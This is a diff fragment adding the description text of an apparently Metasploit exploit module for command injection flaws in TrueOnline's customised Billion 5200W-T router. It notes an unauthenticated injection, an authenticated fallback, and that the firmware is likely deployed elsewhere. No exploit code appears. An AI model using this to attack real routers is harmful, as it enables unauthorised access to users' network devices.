+      'Description'    => %q{
+        TrueOnline is a major ISP in Thailand, and it distributes a customised version of
+        the Billion 5200W-T router. This customised version has at least two command injection
+        vulnerabilities, one authenticated and one unauthenticated, on different firmware versions.
+        This module will attempt to exploit the unauthenticated injection first, and if that fails,
+        it will attempt to exploit the authenticated injection.
+        This module was tested in an emulated environment, as the author doesn't have access to the
+        Thai router any more. Any feedback should be sent directly to the module's author, as well as
+        to the Metasploit project.
+        There are other language strings in the firmware, so it is likely that this firmware is not
+        only distributed in Thailand. Other Billion 5200W-T in other countries might be vulnerable too.
